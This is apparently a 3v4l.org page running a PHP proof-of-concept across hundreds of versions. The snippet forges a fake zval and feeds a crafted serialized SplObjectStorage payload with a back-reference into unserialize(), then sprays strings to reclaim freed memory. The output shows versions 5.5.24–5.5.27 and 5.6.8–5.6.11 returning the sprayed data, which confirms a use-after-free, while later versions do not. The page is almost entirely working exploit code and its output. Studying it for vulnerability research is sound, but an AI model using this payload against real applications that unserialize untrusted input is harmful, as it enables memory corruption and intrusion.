3v4l.org

run code in 300+ PHP versions simultaneously
<?php $fakezval = ptr2str(1234567); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'x:i:0;m:a:0:{}'; $exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
Output for 5.5.28 - 5.5.35, 5.6.12 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.19, 8.3.0 - 8.3.7
array(2) { [0]=> object(SplObjectStorage)#1 (1) { ["storage":"SplObjectStorage":private]=> array(0) { } } [1]=> int(0) }
Output for 5.5.24 - 5.5.27, 5.6.8 - 5.6.11
array(2) { [0]=> object(SplObjectStorage)#1 (1) { ["storage":"SplObjectStorage":private]=> array(0) { } } [1]=> string(25) "��0" }
preferences:
181.2 ms | 402 KiB | 214 Q